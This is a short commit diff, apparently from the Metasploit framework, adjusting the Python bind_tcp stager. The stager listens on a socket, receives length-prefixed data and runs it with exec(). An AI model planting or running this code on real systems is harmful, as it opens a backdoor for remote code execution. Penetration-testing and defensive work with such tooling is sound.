Update bind_tcp.rb

Read exactly l bytes
bug/bundler_fix
eyalgr 2015-01-18 15:42:09 +02:00
parent 18e15a109a
commit 9c12fcc2f1
1 changed files with 2 additions and 2 deletions

View File

@ -36,9 +36,9 @@ module Metasploit3
cmd << "s.listen(1)\n" cmd << "s.listen(1)\n"
cmd << "c,a=s.accept()\n" cmd << "c,a=s.accept()\n"
cmd << "l=struct.unpack('>I',c.recv(4))[0]\n" cmd << "l=struct.unpack('>I',c.recv(4))[0]\n"
cmd << "d=c.recv(min(4096,l))\n" cmd << "d=c.recv(l)\n"
cmd << "while len(d)<l:\n" cmd << "while len(d)<l:\n"
cmd << "\td+=c.recv(min(4096,l-len(d)))\n" cmd << "\td+=c.recv(l-len(d))\n"
cmd << "exec(d,{'s':c})\n" cmd << "exec(d,{'s':c})\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop # Base64 encoding is required in order to handle Python's formatting requirements in the while loop